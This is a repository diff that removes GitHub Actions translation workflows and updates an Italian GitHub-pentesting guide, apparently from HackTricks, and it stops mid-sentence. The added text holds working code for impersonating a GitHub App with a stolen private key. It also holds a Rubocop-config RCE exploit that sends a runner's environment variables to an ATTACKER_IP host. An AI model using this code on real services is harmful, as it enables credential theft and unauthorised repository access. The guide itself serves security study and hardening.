-jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Swahili - BRANCH: sw - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_tr.yml b/.github/workflows/translate_tr.yml deleted file mode 100644 index f3c5359c1..000000000 --- a/.github/workflows/translate_tr.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to TR (Turkish) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: tr - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Turkish - BRANCH: tr - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_uk.yml b/.github/workflows/translate_uk.yml deleted file mode 100644 index 293f113e2..000000000 --- a/.github/workflows/translate_uk.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to UK (Ukranian) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: uk - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Ukranian - BRANCH: uk - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_zh.yml b/.github/workflows/translate_zh.yml deleted file mode 100644 index 76f12ba6a..000000000 --- a/.github/workflows/translate_zh.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to ZH (Chinese) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: zh - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Chinese - BRANCH: zh - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index a199cddb1..ebc1602c3 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -20,7 +20,7 @@ I repository di Github possono essere configurati come pubblici, privati e inter - **Interno** significa che **solo** le persone dell'**impresa** (un'impresa può avere diverse organizzazioni) potranno accedervi - **Pubblico** significa che **tutto internet** potrà accedervi. -Nel caso tu conosca il **utente, repo o organizzazione che vuoi targetizzare**, puoi usare **github dorks** per trovare informazioni sensibili o cercare **leak di informazioni sensibili** **in ogni repo**. +Nel caso tu conosca il **utente, il repo o l'organizzazione che vuoi targetizzare**, puoi usare **github dorks** per trovare informazioni sensibili o cercare **leak di informazioni sensibili** **in ogni repo**. ### Github Dorks @@ -34,28 +34,22 @@ Strumenti (ogni strumento contiene il proprio elenco di dorks): ### Github Leaks -Si prega di notare che i github dorks sono anche destinati a cercare leak utilizzando le opzioni di ricerca di github. Questa sezione è dedicata a quegli strumenti che **scaricheranno ogni repo e cercheranno informazioni sensibili in essi** (anche controllando una certa profondità di commit). +Si prega di notare che i github dorks sono anche destinati a cercare leak utilizzando le opzioni di ricerca di github. Questa sezione è dedicata a quegli strumenti che **scaricheranno ogni repo e cercheranno informazioni sensibili in essi** (controllando anche una certa profondità di commit). Strumenti (ogni strumento contiene il proprio elenco di regex): -- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks) -- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) -- [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit) -- [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob) -- [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets) -- [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks) -- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets) +Controlla questa pagina: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)** > [!WARNING] -> Quando cerchi leak in un repo e esegui qualcosa come `git log -p` non dimenticare che potrebbero esserci **altri rami con altri commit** contenenti segreti! +> Quando cerchi leak in un repo e esegui qualcosa come `git log -p`, non dimenticare che potrebbero esserci **altri rami con altri commit** contenenti segreti! ### Fork esterni -È possibile **compromettere i repo abusando delle pull request**. Per sapere se un repo è vulnerabile, devi principalmente leggere le configurazioni yaml delle Github Actions. [**Maggiori informazioni su questo di seguito**](./#execution-from-a-external-fork). +È possibile **compromettere i repo abusando delle pull request**. Per sapere se un repo è vulnerabile, è principalmente necessario leggere le configurazioni yaml delle Github Actions. [**Maggiore info su questo di seguito**](#execution-from-a-external-fork). ### Github Leaks in fork eliminati/interni -Anche se eliminati o interni, potrebbe essere possibile ottenere dati sensibili dai fork dei repository di github. Controllalo qui: +Anche se eliminati o interni, potrebbe essere possibile ottenere dati sensibili da fork di repository github. Controllalo qui: {{#ref}} accessible-deleted-data-in-github.md @@ -67,10 +61,10 @@ accessible-deleted-data-in-github.md Ci sono alcuni **privilegi predefiniti** che possono essere assegnati ai **membri** dell'organizzazione. Questi possono essere controllati dalla pagina `https://github.com/organizations//settings/member_privileges` o dall' [**API delle organizzazioni**](https://docs.github.com/en/rest/orgs/orgs). -- **Permessi di base**: I membri avranno il permesso Nessuno/Leggi/scrivi/Amministratore sui repository dell'organizzazione. Si raccomanda di impostare **Nessuno** o **Leggi**. +- **Permessi di base**: I membri avranno il permesso Nessuno/Leggi/scrivi/Amministratore sui repository dell'organizzazione. Si consiglia di impostare **Nessuno** o **Leggi**. - **Forking dei repository**: Se non necessario, è meglio **non consentire** ai membri di forkare i repository dell'organizzazione. - **Creazione di pagine**: Se non necessario, è meglio **non consentire** ai membri di pubblicare pagine dai repo dell'organizzazione. Se necessario, puoi consentire di creare pagine pubbliche o private. -- **Richieste di accesso all'integrazione**: Con questo abilitato, i collaboratori esterni potranno richiedere l'accesso per le app GitHub o OAuth per accedere a questa organizzazione e alle sue risorse. È solitamente necessario, ma se non lo è, è meglio disabilitarlo. +- **Richieste di accesso all'integrazione**: Con questo abilitato, i collaboratori esterni potranno richiedere l'accesso per le app GitHub o OAuth per accedere a questa organizzazione e alle sue risorse. Di solito è necessario, ma se non lo è, è meglio disabilitarlo. - _Non sono riuscito a trovare queste informazioni nella risposta delle API, condividi se lo fai_ - **Cambio di visibilità del repository**: Se abilitato, i **membri** con permessi **amministrativi** per il **repository** potranno **cambiare la sua visibilità**. Se disabilitato, solo i proprietari dell'organizzazione possono cambiare le visibilità dei repository. Se non vuoi che le persone rendano le cose **pubbliche**, assicurati che questo sia **disabilitato**. - _Non sono riuscito a trovare queste informazioni nella risposta delle API, condividi se lo fai_ @@ -87,21 +81,21 @@ Diverse impostazioni relative alla sicurezza possono essere configurate per le a > [!NOTE] > Nota che tutte queste configurazioni possono anche essere impostate su ciascun repository in modo indipendente -- **Politiche delle azioni di Github**: Ti consente di indicare quali repository possono eseguire flussi di lavoro e quali flussi di lavoro dovrebbero essere consentiti. Si raccomanda di **specificare quali repository** dovrebbero essere consentiti e di non consentire a tutte le azioni di essere eseguite. +- **Politiche delle azioni di Github**: Consente di indicare quali repository possono eseguire flussi di lavoro e quali flussi di lavoro dovrebbero essere consentiti. Si consiglia di **specificare quali repository** dovrebbero essere consentiti e di non consentire a tutte le azioni di essere eseguite. - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) -- **Flussi di lavoro delle pull request forkate da collaboratori esterni**: Si raccomanda di **richiedere approvazione per tutti** i collaboratori esterni. +- **Flussi di lavoro delle pull request forkate da collaboratori esterni**: Si consiglia di **richiedere approvazione per tutti** i collaboratori esterni. - _Non sono riuscito a trovare un'API con queste informazioni, condividi se lo fai_ -- **Esegui flussi di lavoro da pull request forkate**: È **fortemente sconsigliato eseguire flussi di lavoro da pull request** poiché i manutentori del fork originale avranno la possibilità di utilizzare token con permessi di lettura sul repository sorgente. +- **Esegui flussi di lavoro da pull request forkate**: È **fortemente sconsigliato eseguire flussi di lavoro da pull request** poiché i manutentori dell'origine del fork avranno la possibilità di utilizzare token con permessi di lettura sul repository sorgente. - _Non sono riuscito a trovare un'API con queste informazioni, condividi se lo fai_ -- **Permessi dei flussi di lavoro**: È altamente raccomandato **fornire solo permessi di lettura sui repository**. È sconsigliato fornire permessi di scrittura e di creazione/approvazione delle pull request per evitare l'abuso del GITHUB_TOKEN fornito per l'esecuzione dei flussi di lavoro. +- **Permessi dei flussi di lavoro**: È altamente consigliato **fornire solo permessi di lettura sui repository**. È sconsigliato fornire permessi di scrittura e di creazione/approvazione delle pull request per evitare l'abuso del GITHUB_TOKEN fornito per l'esecuzione dei flussi di lavoro. - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) ### Integrazioni _Fammi sapere se conosci l'endpoint API per accedere a queste informazioni!_ -- **Politica di accesso alle applicazioni di terze parti**: Si raccomanda di limitare l'accesso a ogni applicazione e consentire solo quelle necessarie (dopo averle esaminate). -- **App GitHub installate**: Si raccomanda di consentire solo quelle necessarie (dopo averle esaminate). +- **Politica di accesso alle applicazioni di terze parti**: Si consiglia di limitare l'accesso a ogni applicazione e consentire solo quelle necessarie (dopo averle esaminate). +- **App GitHub installate**: Si consiglia di consentire solo quelle necessarie (dopo averle esaminate). ## Ricognizione e attacchi abusando delle credenziali @@ -116,13 +110,13 @@ Nota che **2FA potrebbe essere utilizzato**, quindi potrai accedere a queste inf > [!NOTE] > Nota che se **riesci a rubare il cookie `user_session`** (attualmente configurato con SameSite: Lax) puoi **completamente impersonare l'utente** senza bisogno di credenziali o 2FA. -Controlla la sezione qui sotto riguardo ai [**bypass delle protezioni dei rami**](./#branch-protection-bypass) nel caso possa essere utile. +Controlla la sezione qui sotto su [**bypass delle protezioni dei rami**](#branch-protection-bypass) nel caso possa essere utile. ### Con la chiave SSH dell'utente -Github consente agli **utenti** di impostare **chiavi SSH** che verranno utilizzate come **metodo di autenticazione per distribuire codice** per loro conto (non viene applicata 2FA). +Github consente ai **utenti** di impostare **chiavi SSH** che verranno utilizzate come **metodo di autenticazione per distribuire codice** per loro conto (non viene applicata 2FA). -Con questa chiave puoi eseguire **modifiche nei repository dove l'utente ha alcuni privilegi**, tuttavia non puoi usarla per accedere all'API di github per enumerare l'ambiente. Tuttavia, puoi **enumerare le impostazioni locali** per ottenere informazioni sui repo e sull'utente a cui hai accesso: +Con questa chiave puoi effettuare **modifiche nei repository dove l'utente ha alcuni privilegi**, tuttavia non puoi usarla per accedere all'API di github per enumerare l'ambiente. Tuttavia, puoi **enumerare le impostazioni locali** per ottenere informazioni sui repo e sull'utente a cui hai accesso: ```bash # Go to the the repository folder # Get repo config and current user name and email @@ -154,9 +148,9 @@ Per un'introduzione sulle [**Applicazioni Oauth di Github controlla le informazi Un attaccante potrebbe creare un **Applicazione Oauth malevola** per accedere a dati/azioni privilegiati degli utenti che le accettano probabilmente come parte di una campagna di phishing. -Questi sono gli [ambiti che un'applicazione Oauth può richiedere](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Un utente dovrebbe sempre controllare gli ambiti richiesti prima di accettarli. +Questi sono i [scope che un'applicazione Oauth può richiedere](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Un utente dovrebbe sempre controllare gli scope richiesti prima di accettarli. -Inoltre, come spiegato nelle informazioni di base, **le organizzazioni possono concedere/negare l'accesso a applicazioni di terze parti** a informazioni/repos/azioni relative all'organizzazione. +Inoltre, come spiegato nelle informazioni di base, **le organizzazioni possono concedere/negare l'accesso a applicazioni di terze parti** a informazioni/repo/azioni relative all'organizzazione. ### Con Applicazione Github @@ -164,9 +158,109 @@ Per un'introduzione sulle [**Applicazioni Github controlla le informazioni di ba Un attaccante potrebbe creare un **Applicazione Github malevola** per accedere a dati/azioni privilegiati degli utenti che le accettano probabilmente come parte di una campagna di phishing. -Inoltre, come spiegato nelle informazioni di base, **le organizzazioni possono concedere/negare l'accesso a applicazioni di terze parti** a informazioni/repos/azioni relative all'organizzazione. +Inoltre, come spiegato nelle informazioni di base, **le organizzazioni possono concedere/negare l'accesso a applicazioni di terze parti** a informazioni/repo/azioni relative all'organizzazione. -## Compromissione & Abuso di Github Action +#### Imita un'App GitHub con la sua chiave privata (JWT → token di accesso per installazione) + +Se ottieni la chiave privata (PEM) di un'App GitHub, puoi impersonare completamente l'app in tutte le sue installazioni: + +- Genera un JWT a breve termine firmato con la chiave privata +- Chiama l'API REST dell'App GitHub per enumerare le installazioni +- Crea token di accesso per ogni installazione e usali per elencare/clonare/pushare nei repository concessi a quell'installazione + +Requisiti: +- Chiave privata dell'App GitHub (PEM) +- ID dell'App GitHub (numerico). GitHub richiede che iss sia l'ID dell'App + +Crea JWT (RS256): +```python +#!/usr/bin/env python3 +import time, jwt + +with open("priv.pem", "r") as f: +signing_key = f.read() + +APP_ID = "123456" # GitHub App ID (numeric) + +def gen_jwt(): +now = int(time.time()) +payload = { +"iat": now - 60, +"exp": now + 600 - 60, # ≤10 minutes +"iss": APP_ID, +} +return jwt.encode(payload, signing_key, algorithm="RS256") +``` +Elenca le installazioni per l'app autenticata: +```bash +JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456) + +curl -sS -H "Authorization: Bearer $JWT" \ +-H "Accept: application/vnd.github+json" \ +-H "X-GitHub-Api-Version: 2022-11-28" \ +https://api.github.com/app/installations +``` +Crea un token di accesso per l'installazione (valido ≤ 10 minuti): +```bash +INSTALL_ID=12345678 +curl -sS -X POST \ +-H "Authorization: Bearer $JWT" \ +-H "Accept: application/vnd.github+json" \ +-H "X-GitHub-Api-Version: 2022-11-28" \ +https://api.github.com/app/installations/$INSTALL_ID/access_tokens +``` +Usa il token per accedere al codice. Puoi clonare o inviare utilizzando la forma URL x‑access‑token: +```bash +TOKEN=ghs_... +REPO=owner/name +git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git +# push works if the app has contents:write on that repository +``` +Programmatic PoC per mirare a un'organizzazione specifica e elencare i repository privati (PyGithub + PyJWT): +```python +#!/usr/bin/env python3 +import time, jwt, requests +from github import Auth, GithubIntegration + +with open("priv.pem", "r") as f: +signing_key = f.read() + +APP_ID = "123456" # GitHub App ID (numeric) +ORG = "someorg" + +def gen_jwt(): +now = int(time.time()) +payload = {"iat": now-60, "exp": now+540, "iss": APP_ID} +return jwt.encode(payload, signing_key, algorithm="RS256") + +auth = Auth.AppAuth(APP_ID, signing_key) +GI = GithubIntegration(auth=auth) +installation = GI.get_org_installation(ORG) +print(f"Installation ID: {installation.id}") + +jwt_tok = gen_jwt() +r = requests.post( +f"https://api.github.com/app/installations/{installation.id}/access_tokens", +headers={ +"Accept": "application/vnd.github+json", +"Authorization": f"Bearer {jwt_tok}", +"X-GitHub-Api-Version": "2022-11-28", +}, +) +access_token = r.json()["token"] + +print("--- repos ---") +for repo in installation.get_repos(): +print(f"* {repo.full_name} (private={repo.private})") +clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git" +print(clone_url) +``` +Note: +- I token di installazione ereditano esattamente i permessi a livello di repository dell'app (ad esempio, contents: write, pull_requests: write) +- I token scadono in ≤10 minuti, ma nuovi token possono essere creati indefinitamente finché si mantiene la chiave privata +- Puoi anche enumerare le installazioni tramite l'API REST (GET /app/installations) utilizzando il JWT + +## Compromissione e abuso di Github Action Ci sono diverse tecniche per compromettere e abusare di una Github Action, controllale qui: @@ -174,25 +268,75 @@ Ci sono diverse tecniche per compromettere e abusare di una Github Action, contr abusing-github-actions/ {{#endref}} +## Abuso di GitHub Apps di terze parti che eseguono strumenti esterni (Rubocop extension RCE) + +Alcune GitHub Apps e servizi di revisione PR eseguono linters/SAST esterni contro le pull request utilizzando file di configurazione controllati dal repository. Se uno strumento supportato consente il caricamento dinamico del codice, una PR può ottenere RCE sul runner del servizio. + +Esempio: Rubocop supporta il caricamento di estensioni dal suo file di configurazione YAML. Se il servizio passa attraverso un .rubocop.yml fornito dal repo, puoi eseguire Ruby arbitrario richiedendo un file locale. + +- Le condizioni di attivazione di solito includono: +- Lo strumento è abilitato nel servizio +- La PR contiene file che lo strumento riconosce (per Rubocop: .rb) +- Il repo contiene il file di configurazione dello strumento (Rubocop cerca .rubocop.yml ovunque) + +File di exploit nella PR: + +.rubocop.yml +```yaml +require: +- ./ext.rb +``` +ext.rb (esfiltrare le variabili d'ambiente del runner): +```ruby +require 'net/http' +require 'uri' +require 'json' + +env_vars = ENV.to_h +json_data = env_vars.to_json +url = URI.parse('http://ATTACKER_IP/') + +begin +http = Net::HTTP.new(url.host, url.port) +req = Net::HTTP::Post.new(url.path) +req['Content-Type'] = 'application/json' +req.body = json_data +http.request(req) +rescue StandardError => e +warn e.message +end +``` +Includi anche un file Ruby fittizio sufficientemente grande (ad es., main.rb) in modo che il linter venga effettivamente eseguito. + +Impatto osservato nel mondo reale: +- Esecuzione completa del codice sul runner di produzione che ha eseguito il linter +- Esfiltrazione di variabili ambientali sensibili, inclusa la chiave privata dell'app GitHub utilizzata dal servizio, chiavi API, credenziali DB, ecc. +- Con una chiave privata dell'app GitHub trapelata puoi generare token di installazione e ottenere accesso in lettura/scrittura a tutti i repository concessi a quell'app (vedi la sezione sopra sull' impersonificazione dell'app GitHub) + +Linee guida per il rafforzamento dei servizi che eseguono strumenti esterni: +- Tratta le configurazioni degli strumenti fornite dal repository come codice non attendibile +- Esegui strumenti in sandbox strettamente isolate senza variabili ambientali sensibili montate +- Applica credenziali con il minor privilegio e isolamento del filesystem, e limita/nega l'uscita della rete per gli strumenti che non richiedono accesso a Internet + ## Bypass della Protezione dei Branch -- **Richiedere un numero di approvazioni**: Se hai compromesso diversi account, potresti semplicemente accettare le tue PR da altri account. Se hai solo l'account da cui hai creato la PR, non puoi accettare la tua PR. Tuttavia, se hai accesso a un **ambiente Github Action** all'interno del repo, utilizzando il **GITHUB_TOKEN** potresti essere in grado di **approvare la tua PR** e ottenere 1 approvazione in questo modo. +- **Richiedi un numero di approvazioni**: Se hai compromesso diversi account potresti semplicemente accettare le tue PR da altri account. Se hai solo l'account da cui hai creato la PR non puoi accettare la tua PR. Tuttavia, se hai accesso a un ambiente **Github Action** all'interno del repo, utilizzando il **GITHUB_TOKEN** potresti essere in grado di **approvare la tua PR** e ottenere 1 approvazione in questo modo. - _Nota per questo e per la restrizione dei Code Owners che di solito un utente non sarà in grado di approvare le proprie PR, ma se lo sei, puoi abusarne per accettare le tue PR._ -- **Annullare le approvazioni quando vengono inviati nuovi commit**: Se questo non è impostato, puoi inviare codice legittimo, aspettare che qualcuno lo approvi e poi inserire codice malevolo e unirlo nel branch protetto. -- **Richiedere revisioni dai Code Owners**: Se questo è attivato e sei un Code Owner, potresti far sì che una **Github Action crei la tua PR e poi approvarla tu stesso**. +- **Annulla le approvazioni quando vengono inviati nuovi commit**: Se questo non è impostato, puoi inviare codice legittimo, aspettare che qualcuno lo approvi e inserire codice malevolo e fonderlo nel branch protetto. +- **Richiedi revisioni dai Code Owners**: Se questo è attivato e sei un Code Owner, potresti far sì che una **Github Action crei la tua PR e poi approvarla tu stesso**. - Quando un **file CODEOWNER è configurato in modo errato**, Github non si lamenta ma non lo utilizza. Pertanto, se è configurato in modo errato, **la protezione dei Code Owners non viene applicata.** -- **Consentire a attori specificati di bypassare i requisiti delle pull request**: Se sei uno di questi attori puoi bypassare le protezioni delle pull request. -- **Includere gli amministratori**: Se questo non è impostato e sei un amministratore del repo, puoi bypassare queste protezioni del branch. -- **PR Hijacking**: Potresti essere in grado di **modificare la PR di qualcun altro** aggiungendo codice malevolo, approvando la PR risultante tu stesso e unendo tutto. -- **Rimozione delle Protezioni dei Branch**: Se sei un **amministratore del repo puoi disabilitare le protezioni**, unire la tua PR e ripristinare le protezioni. -- **Bypass delle protezioni di push**: Se un repo **consente solo a determinati utenti** di inviare push (unire codice) nei branch (la protezione del branch potrebbe proteggere tutti i branch specificando il carattere jolly `*`). -- Se hai **accesso in scrittura al repo ma non ti è permesso inviare codice** a causa della protezione del branch, puoi comunque **creare un nuovo branch** e all'interno di esso creare una **github action che viene attivata quando viene inviato codice**. Poiché **la protezione del branch non proteggerà il branch fino a quando non sarà creato**, questo primo push di codice nel branch **eseguirà la github action**. +- **Consenti a determinati attori di bypassare i requisiti delle pull request**: Se sei uno di questi attori puoi bypassare le protezioni delle pull request. +- **Includi gli amministratori**: Se questo non è impostato e sei amministratore del repo, puoi bypassare queste protezioni del branch. +- **Hijacking delle PR**: Potresti essere in grado di **modificare la PR di qualcun altro** aggiungendo codice malevolo, approvando la PR risultante tu stesso e fondendo tutto. +- **Rimozione delle Protezioni dei Branch**: Se sei un **amministratore del repo puoi disabilitare le protezioni**, fondere la tua PR e ripristinare le protezioni. +- **Bypassing delle protezioni di push**: Se un repo **consente solo a determinati utenti** di inviare push (fondere codice) nei branch (la protezione del branch potrebbe proteggere tutti i branch specificando il carattere jolly `*`). +- Se hai 